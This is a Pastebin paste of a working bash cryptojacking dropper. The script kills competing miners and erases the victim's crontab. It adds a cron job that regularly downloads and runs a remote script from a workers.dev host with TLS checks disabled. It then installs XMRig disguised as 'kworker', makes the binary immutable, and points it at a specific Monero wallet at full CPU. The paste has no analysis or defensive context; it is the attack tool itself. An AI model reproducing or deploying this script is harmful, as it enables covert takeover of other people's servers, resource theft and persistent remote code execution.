Guest User

Untitled

a guest
Nov 2nd, 2021
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.91 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # init
  4. chattr -i /tmp/.x/kworker
  5. ps -ef | grep "/tmp/.x/kworker" | awk '{print $2}'|  xargs -I % kill -9 %
  6. ps -ef | grep "/tmp/.xmrig/xmrig" | awk '{print $2}'|  xargs -I % kill -9 %
  7. pkill -9 xmrig
  8. pkill -9 xmrig64
  9. pkill -9 pux
  10. pkill -9 testm
  11. pkill -9 miner
  12. pkill -9 network
  13. pkill -9 networkd
  14. pkill -9 unitex
  15. pkill -9 udp
  16. pkill -9 /tmp/.jeeej/jeeej
  17. rm -rf /tmp/.xmrig/
  18. rm -rf /tmp/.jeeej/
  19. rm -rf /tmp/.x/
  20. crontab -r
  21. echo "50 12 * * * wget https://api.wolf-stream.workers.dev/xmg --no-check-certificate -O /tmp/1.sh" >> crontabs
  22. echo "52 12 * * * bash /tmp/1.sh" >> crontabs
  23. crontab crontabs
  24.  
  25. # download xmr
  26. if ! wget https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz -O /tmp/1.tar.gz --no-check-certificate; then
  27.   echo "ERROR: Can't download https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz file to /tmp/xmrig.tar.gz"
  28.   exit 1
  29. fi
  30. # tar gz
  31. if ! tar xf /tmp/1.tar.gz -C /tmp/; then
  32.   echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $HOME/moneroocean directory"
  33.   rm /tmp/1.tar.gz /tmp/2.sh
  34.   exit 1
  35. fi
  36. # rname
  37. mv /tmp/xmrig-6.15.0 /tmp/.x
  38.  
  39. if [ -f /tmp/.x/xmrig ]; then
  40.     echo "WARNING: xmrig is ok"
  41. else
  42.     echo "WARNING: xmrig was removed by antivirus (or some other problem)"
  43. fi
  44.  
  45.  
  46.  
  47. # port
  48. EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
  49. if [ -z $EXP_MONERO_HASHRATE ]; then
  50.   echo "ERROR: Can't compute projected Monero CN hashrate"
  51.   exit 1
  52. fi
  53.  
  54. power2() {
  55.   if ! type bc >/dev/null; then
  56.     if   [ "$1" -gt "8192" ]; then
  57.       echo "8192"
  58.     elif [ "$1" -gt "4096" ]; then
  59.       echo "4096"
  60.     elif [ "$1" -gt "2048" ]; then
  61.       echo "2048"
  62.     elif [ "$1" -gt "1024" ]; then
  63.       echo "1024"
  64.     elif [ "$1" -gt "512" ]; then
  65.       echo "512"
  66.     elif [ "$1" -gt "256" ]; then
  67.       echo "256"
  68.     elif [ "$1" -gt "128" ]; then
  69.       echo "128"
  70.     elif [ "$1" -gt "64" ]; then
  71.       echo "64"
  72.     elif [ "$1" -gt "32" ]; then
  73.       echo "32"
  74.     elif [ "$1" -gt "16" ]; then
  75.       echo "16"
  76.     elif [ "$1" -gt "8" ]; then
  77.       echo "8"
  78.     elif [ "$1" -gt "4" ]; then
  79.       echo "4"
  80.     elif [ "$1" -gt "2" ]; then
  81.       echo "2"
  82.     else
  83.       echo "1"
  84.     fi
  85.   else
  86.     echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l;
  87.   fi
  88. }
  89.  
  90.  
  91. PORT=$(( $EXP_MONERO_HASHRATE * 30 ))
  92. PORT=$(( $PORT == 0 ? 1 : $PORT ))
  93. PORT=`power2 $PORT`
  94. PORT=$(( 10000 + $PORT ))
  95. if [ -z $PORT ]; then
  96.   echo "ERROR: Can't compute port"
  97.   exit 1
  98. fi
  99.  
  100. if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
  101.   echo "ERROR: Wrong computed port value: $PORT"
  102.   exit 1
  103. fi
  104.  
  105.  
  106. # config
  107. rm /tmp/1.tar.gz
  108. sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' /tmp/.x/config.json
  109. sed -i 's/"url": *"[^"]*",/"url": "gulf.moneroocean.stream:'$PORT'",/' /tmp/.x/config.json
  110. sed -i 's/"user": *"[^"]*",/"user": "49mbVTgNdT1Eqbvq3cTDdWeP6mjc59mySMYx15MT1qbiZKjGvmMAHgs3JFgXkBmwuRjMwtj2XEBznc9DZ1Xn2SJFSKKfL4p",/' /tmp/.x/config.json
  111. sed -i 's/"pass": *"[^"]*",/"pass": "x",/' /tmp/.x/config.json
  112. sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' /tmp/.x/config.json
  113. sed -i 's#"log-file": *null,#"log-file": "'/tmp/.x/xmrig.log'",#' /tmp/.x/config.json
  114. sed -i 's/"syslog": *[^,]*,/"syslog": true,/' /tmp/.x/config.json
  115. sed -i 's/"background": *false,/"background": true,/' /tmp/.x/config.json
  116.  
  117.  
  118. # kworker.sh
  119. cat >/tmp/.x/kworker.sh <<EOL
  120. #!/bin/bash
  121. if ! pidof xmrig >/dev/null; then
  122.   mv /tmp/.x/xmrig /tmp/.x/kworker
  123.   chattr +i /tmp/.x/kworker
  124.   nice /tmp/.x/kworker \$*
  125. else
  126.   echo "Monero miner is already running in the background. Refusing to run another one."
  127.   echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
  128. fi
  129. EOL
  130.  
  131. chmod +x /tmp/.x/kworker.sh
  132. # run
  133. # /bin/bash /tmp/.x/kworker.sh --config=/tmp/.x/config.json >/dev/null 2>&1
  134. /bin/bash /tmp/.x/kworker.sh
  135. echo "[*] Setup complete"
  136. rm /tmp/1.sh
  137. rm crontabs
  138. exit 1
  139.  
  140.  
  141.  
Advertisement
Add Comment
Please, Sign In to add comment